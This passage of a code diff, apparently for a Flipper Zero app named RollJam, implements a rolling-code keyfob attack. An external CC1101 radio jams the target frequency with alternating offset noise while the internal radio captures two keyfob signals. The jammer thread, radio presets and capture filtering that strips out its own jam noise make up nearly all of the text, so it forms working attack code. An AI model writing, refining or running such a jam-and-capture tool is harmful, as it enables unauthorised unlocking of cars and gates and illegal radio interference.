furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
@@ -387,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
@@ -438,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
@@ -458,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
@@ -469,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
@@ -500,69 +476,46 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -21,148 +21,252 @@
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
static const uint8_t preset_ook_rx[] = {
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_rx[] = {
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_ook_tx[] = {
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return (matches > (int)(s->size * 8 / 10));
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
@@ -171,90 +275,101 @@ typedef enum {
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
if(g_cap.state == CapDone) return;
cap_callback_count++;
g_cap.callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
switch(g_cap.state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
cap_ctx_reset(&g_cap);
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
int16_t prev = cleaned[out - 1];
